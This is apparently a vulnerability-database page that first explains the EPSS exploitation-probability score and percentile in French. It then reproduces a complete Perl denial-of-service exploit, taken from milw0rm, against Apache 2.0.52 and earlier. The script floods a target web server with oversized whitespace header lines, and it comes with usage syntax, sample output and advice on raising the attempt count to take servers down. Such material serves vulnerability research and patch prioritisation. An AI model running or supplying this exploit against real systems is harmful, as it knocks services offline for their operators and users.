EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl # Based on -> # apache-squ1rt.c exploit. # # Original credit goes to Chintan Trivedi on the # FullDisclosure mailing list: # http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html # # More info -> # # http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 # Added -> # Added future with we can exploit Apache web servers on windows system. For it you should experiment # with [trys] parameter of this code. # # By default parameter trys = 8000, for DoS Apache web servers on windows system try to # increase this parameter. # # For example. In my system I have 256Mb of RAM. For DoS Apache web severs I run this exploit like this # # C:\perl ap2.0.52_dos.pl 127.0.0.1 30000 # # <+> Prepare to start connect. # <+> Connected to 127.0.0.1 # <+> Send of first part of devil header. # <+> Prepare to DoS with 10000 trys. # <+> Start DoS second part of devil header. # <SOD> |====================> <EOD> # <+> Ok now target web server maybe DoSeD. # # # Note -> # # If progresbar not response server mybe already DoSeD. Try to open web page hosted on this web servers. # And if you see "Eror 500" you are lucky man :) # # Warnings -> # This is POC code you can use only on you own servers. Writer don't response if you damadge you servers or # use it for attack, or others things. # # Shit -> # My English now is bulls shit :( I try study it :) # # Tested under Window 2000 SP4 with Apache 2.0.49 (Win) # Grests fly to Chintan Trivedi NsT, RST, Void, Unlock and other underground world. # Contact to me at greenwood3[AT]yandex[dot]ru use IO::Socket; if (@ARGV <1) { print "\n ::: ---------------------------------------------- :::\n"; print " ::: Another yet DoS exploit for Apache <= 2.0.52 :::\n"; print " ::: Usage: ap2.0.52_dos.pl <ip> [trys] :::\n"; print " ::: Coded by GreenwooD from Network Security Team :::\n"; print " ::: ---------------------------------------------- :::\n"; exit(); } print "\n <+> Prepare to start connect.\n"; $s = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ARGV[0], PeerPort=>80, Timeout=>6 ) or die " <-> Target web server already DoSeD ??? or can't connect :(\n"; $s->autoflush(); print " <+> Connected to $ARGV[0]\n"; print " <+> Send of first part of devil header.\n"; print $s "GET / HTTP/1.0\n"; $trys = 8000; # Default if ($ARGV[1]) { $trys = $ARGV[1]; } print " <+> Prepare to DoS with $trys trys.\n"; print " <+> Start DoS send second part of devil header.\n"; print " <SOD> |"; $i=0; do { print $s (" " x 8000 . "\n"); if ($i % 500 == 0) { print "="; } ++$i; } until ($i == $trys); print "> <EOD>\n"; close($s); print " <+> Ok now target web server maybe DoSeD.\n"; # milw0rm.com [2005-03-04]
